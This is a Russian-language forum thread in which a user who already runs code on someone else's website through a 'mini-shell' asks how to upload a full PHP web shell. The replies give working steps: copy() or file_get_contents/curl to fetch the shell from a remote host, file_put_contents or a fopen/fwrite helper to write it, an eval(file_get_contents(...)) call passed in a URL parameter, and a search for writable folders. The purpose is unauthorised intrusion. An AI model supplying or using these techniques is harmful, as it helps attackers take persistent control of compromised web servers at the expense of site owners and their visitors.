![]() |
Помогите залить шелл через мини-шелл.
phpinfo(); выводит, но шелл не заливается. Пробовал: copy('http://site.ru/s.txt','s.php'); Конфигурация PHP из phpinfo: Код:
Directive Local Value Master Value |
|
copy('http://site.ru/s.txt','s.php'); нужно
Нужно прописать полный путь, если есть раскрытие путей, посмотри, и пробуй полный путь прописать. /var/www/site-ru/data не похоже на полный путь до сайта, хотя не уверен. Ну на крайняк Если file_get_contents не сработает пробуй курл, и если уже записался в какую либо диру то права есть, phpinfo() я так понял из залитого файла выводишь? |
look2009,
Цитата:
|
Сорри не заметил, пробуй шелл записать через запрос файла file get content или пиши curl скрипт запроса шелла в тело переменной и записывай в файл. Можешь записать полностью файл через file_put_contents, или так.
function save_file($file,$content) { $open = fopen($file,'ab'); fwrite($open,$content."\r\n"); fclose($open); } ?a=eval(file_get_contents('http://site.ru/bla_bla.txt')); Ну это конечно самое простое. ))) |
eval(file_get_contents("http://site.ru/shell.txt")); дальше лазишь и ищешь папку с разрешением на запись
|
| Время: 12:34 |